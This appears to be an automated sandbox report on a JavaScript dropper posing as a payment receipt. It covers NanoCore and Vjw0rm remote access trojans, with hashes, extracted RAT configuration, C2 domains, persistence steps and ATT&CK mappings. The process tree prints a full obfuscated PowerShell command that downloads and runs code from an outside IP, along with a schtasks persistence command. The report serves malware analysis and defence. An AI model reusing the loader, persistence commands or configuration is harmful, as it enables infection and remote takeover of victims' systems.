nanocore | 2b3792055f5035ac6e37c372853654eb1d2ec05425f217b339816b0aa12605a2

General

Target

h6d2_Payment_receipt.js
Size

81KB
MD5

ac46bea5b7fd09b1ab3da2b95cb03006
SHA1

e59702bca30c23aed49b4e24e6f1411c450ba8d2
SHA256

2b3792055f5035ac6e37c372853654eb1d2ec05425f217b339816b0aa12605a2
SHA512

601600fd54e840843d04ea97f5e04389933cff2c49e0bca97207a27fe95937f282a8c3fc35f2e684aeb0f073f049dcd9f74ecf25fd56c9c35109d82d7ca433e4

Score

10^/10

nanocore vjw0rm keylogger persistence spyware stealer trojan worm

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://13.78.209.105/E/err.txt

Extracted

Family

nanocore

Version

1.2.2.0

C2

kenimaf.duckdns.org:8090

Mutex

543e7469-d950-4ec2-a110-de54f8d16167

Attributes

activate_away_mode
true
backup_connection_host
kenimaf.duckdns.org
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2021-08-01T06:39:50.225932136Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
8090
default_group
kenn
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
543e7469-d950-4ec2-a110-de54f8d16167
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
kenimaf.duckdns.org
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
true
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Extracted

Family

vjw0rm

C2

http://6200js.duckdns.org:6200

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Vjw0rm
Vjw0rm is a remote access trojan written in JavaScript.
trojan worm vjw0rm
Blocklisted process makes network request 3 IoCs

Processes:

wscript.exepowershell.exe

flow pid process

9 1956 wscript.exe
26 3164 powershell.exe
27 3164 powershell.exe

flow	pid	process
9	1956	wscript.exe
26	3164	powershell.exe
27	3164	powershell.exe

Drops startup file 2 IoCs

Processes:

wscript.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\h6d2_Payment_receipt.js	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\h6d2_Payment_receipt.js	wscript.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

wscript.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\BB4HJP0E1C = "'C:\\Users\\Admin\\AppData\\Local\\Temp\\h6d2_Payment_receipt.js'"	wscript.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3164 set thread context of 2860 3164 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

920 schtasks.exe
Modifies registry class 1 IoCs

Processes:

wscript.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings wscript.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exeaspnet_compiler.exe

pid process

3164 powershell.exe
3164 powershell.exe
3164 powershell.exe
2860 aspnet_compiler.exe
2860 aspnet_compiler.exe
2860 aspnet_compiler.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

aspnet_compiler.exe

pid process

2860 aspnet_compiler.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description pid process

Token: SeDebugPrivilege 3164 powershell.exe
Token: SeDebugPrivilege 2860 aspnet_compiler.exe

description	pid	process	target process
PID 3164 set thread context of 2860	3164	powershell.exe	aspnet_compiler.exe

pid	process
920	schtasks.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings	wscript.exe

pid	process
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
2860	aspnet_compiler.exe
2860	aspnet_compiler.exe
2860	aspnet_compiler.exe

pid	process
2860	aspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	3164	powershell.exe
Token: SeDebugPrivilege	2860	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

wscript.exeWScript.exepowershell.exe

description	pid	process	target process
PID 1956 wrote to memory of 920	1956	wscript.exe	schtasks.exe
PID 1956 wrote to memory of 920	1956	wscript.exe	schtasks.exe
PID 1956 wrote to memory of 1188	1956	wscript.exe	WScript.exe
PID 1956 wrote to memory of 1188	1956	wscript.exe	WScript.exe
PID 1188 wrote to memory of 3164	1188	WScript.exe	powershell.exe
PID 1188 wrote to memory of 3164	1188	WScript.exe	powershell.exe
PID 3164 wrote to memory of 2860	3164	powershell.exe	aspnet_compiler.exe
PID 3164 wrote to memory of 2860	3164	powershell.exe	aspnet_compiler.exe
PID 3164 wrote to memory of 2860	3164	powershell.exe	aspnet_compiler.exe
PID 3164 wrote to memory of 2860	3164	powershell.exe	aspnet_compiler.exe
PID 3164 wrote to memory of 2860	3164	powershell.exe	aspnet_compiler.exe
PID 3164 wrote to memory of 2860	3164	powershell.exe	aspnet_compiler.exe
PID 3164 wrote to memory of 2860	3164	powershell.exe	aspnet_compiler.exe
PID 3164 wrote to memory of 2860	3164	powershell.exe	aspnet_compiler.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\h6d2_Payment_receipt.js
1⤵
- Blocklisted process makes network request
- Drops startup file
- Adds Run key to start application
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1956

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\Admin\AppData\Local\Temp\h6d2_Payment_receipt.js
2⤵
- Creates scheduled task(s)
PID:920

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\OWZC107LZZ.vbs"
2⤵
- Suspicious use of WriteProcessMemory
PID:1188

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $H ='http://13.78.209.105/E/err.txt';$H1 = '******************^^^^^^^^^^^^^^^^^^``````````````'.Replace('******************','n').Replace('^^^^^^^^^^^^^^^^^^','E').Replace('``````````````','t');$H2 ='DDDDDDDDEEEEEEEEEEE'.Replace('DDDDDDDD','.').Replace('EEEEEEEEEE','W');$H4 ='NNNNNNNNNNNNNNNNTTTTTTTTTTNT'.Replace('NNNNNNNNNNNNNNNNTTTTTTTTTT','IE');$H3 ='LLLLLLLLLL'.Replace('LLLLLLLLL','bC');$HH =$H1+$H2+$H3+$H4;$HHH ='DO---------------nG'.Replace('---------------','WnLoaDSTrI');$HHHH ='I`---------------Ec++++++++++++++H).$HHH($H)'.Replace('`---------------','EX(ne`W`-Obj`').Replace('++++++++++++++','`T $H');&('I'+'EX')($HHHH -Join '')|&('I'+'EX');
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3164

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:2860

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\OWZC107LZZ.vbs
MD5
2b137d3d2ea7ddba63e99586f44e0388

SHA1
d4634061943a78624880537ffa65472fc6195474

SHA256
1af97b7b7febcf25481d8c653b141681be8a1cad29a563e9057c02c1c87b75c2

SHA512
6a7240273576e625066b114960fa4063acd9404727d02bcd3183248f5c820161ec15fafe01858d22ddcf39cd4d03f8e52988625aabd7b01565339b8927693115

Download Submit
memory/920-115-0x0000000000000000-mapping.dmp

Download
memory/1188-116-0x0000000000000000-mapping.dmp

Download
memory/2860-177-0x0000000005BC0000-0x0000000005BC3000-memory.dmp

Filesize
12KB

Download
memory/2860-176-0x0000000005A90000-0x0000000005AA9000-memory.dmp

Filesize
100KB

Download
memory/2860-175-0x0000000005140000-0x0000000005145000-memory.dmp

Filesize
20KB

Download
memory/2860-174-0x0000000002840000-0x0000000002841000-memory.dmp

Filesize
4KB

Download
memory/2860-172-0x0000000004DF0000-0x0000000004DF1000-memory.dmp

Filesize
4KB

Download
memory/2860-171-0x0000000004EF0000-0x0000000004EF1000-memory.dmp

Filesize
4KB

Download
memory/2860-164-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/2860-170-0x0000000004E50000-0x0000000004E51000-memory.dmp

Filesize
4KB

Download
memory/2860-169-0x0000000005350000-0x0000000005351000-memory.dmp

Filesize
4KB

Download
memory/2860-167-0x0000000000810000-0x0000000000848000-memory.dmp

Filesize
224KB

Download
memory/2860-165-0x000000000041E792-mapping.dmp

Download
memory/3164-124-0x00000262C9FE0000-0x00000262C9FE1000-memory.dmp

Filesize
4KB

Download
memory/3164-166-0x00000262B0010000-0x00000262B0012000-memory.dmp

Filesize
8KB

Download
memory/3164-131-0x00000262CA0C3000-0x00000262CA0C5000-memory.dmp

Filesize
8KB

Download
memory/3164-132-0x00000262B0010000-0x00000262B0012000-memory.dmp

Filesize
8KB

Download
memory/3164-146-0x00000262CA0C6000-0x00000262CA0C8000-memory.dmp

Filesize
8KB

Download
memory/3164-147-0x00000262CA0C8000-0x00000262CA0C9000-memory.dmp

Filesize
4KB

Download
memory/3164-158-0x00000262B0010000-0x00000262B0012000-memory.dmp

Filesize
8KB

Download
memory/3164-159-0x00000262CA040000-0x00000262CA064000-memory.dmp

Filesize
144KB

Download
memory/3164-160-0x00000262B0010000-0x00000262B0012000-memory.dmp

Filesize
8KB

Download
memory/3164-129-0x00000262CC1A0000-0x00000262CC1A1000-memory.dmp

Filesize
4KB

Download
memory/3164-128-0x00000262B0010000-0x00000262B0012000-memory.dmp

Filesize
8KB

Download
memory/3164-130-0x00000262CA0C0000-0x00000262CA0C2000-memory.dmp

Filesize
8KB

Download
memory/3164-127-0x00000262B0010000-0x00000262B0012000-memory.dmp

Filesize
8KB

Download
memory/3164-126-0x00000262B0010000-0x00000262B0012000-memory.dmp

Filesize
8KB

Download
memory/3164-125-0x00000262B0010000-0x00000262B0012000-memory.dmp

Filesize
8KB

Download
memory/3164-123-0x00000262B0010000-0x00000262B0012000-memory.dmp

Filesize
8KB

Download
memory/3164-122-0x00000262B0010000-0x00000262B0012000-memory.dmp

Filesize
8KB

Download
memory/3164-173-0x00000262CA070000-0x00000262CA071000-memory.dmp

Filesize
4KB

Download
memory/3164-121-0x00000262B0010000-0x00000262B0012000-memory.dmp

Filesize
8KB

Download
memory/3164-120-0x00000262B0010000-0x00000262B0012000-memory.dmp

Filesize
8KB

Download
memory/3164-119-0x00000262B0010000-0x00000262B0012000-memory.dmp

Filesize
8KB

Download
memory/3164-118-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads